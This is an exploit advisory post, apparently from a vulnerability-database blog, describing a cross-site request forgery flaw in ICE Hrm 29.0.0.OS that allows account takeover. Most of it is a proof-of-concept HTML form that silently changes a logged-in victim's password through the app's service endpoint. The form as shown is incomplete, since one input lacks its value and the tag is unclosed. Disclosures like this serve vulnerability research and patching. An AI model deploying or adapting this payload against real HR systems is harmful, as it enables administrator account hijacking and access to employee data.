Monday, July 12, 2021

ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)

# Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)
# Exploit Author: *Piyush Patil* & Rafal Lykowski
# Vendor Homepage:
# Version: 29.0.0.OS
# Tested on: Windows 10 and Kali

ICE Hrm Version 29.0.0.OS is vulnerable to CSRF which allows attacker to add new admin account or change the password leading to full account takeover.

#Steps to reproduce the attack:
1- Login as victim
2- Open the CSRF malicious file which I have attached (csrf_POC.html)

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8070/app/service.php">
      <input type="hidden" name="t" value="User" />
      <input type="hidden" name="a" value="ca" />
      <input type="hidden" name="sa" value="changePassword" />
      <input type="hidden" name="mod" value="admin&#61;users" />
      <input type="hidden" name="req"
      <input type="submit" value="Submit request" />

3- Password is changed (you can also add new admin user)

Now you can simply takeover the account

#Video POC:

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated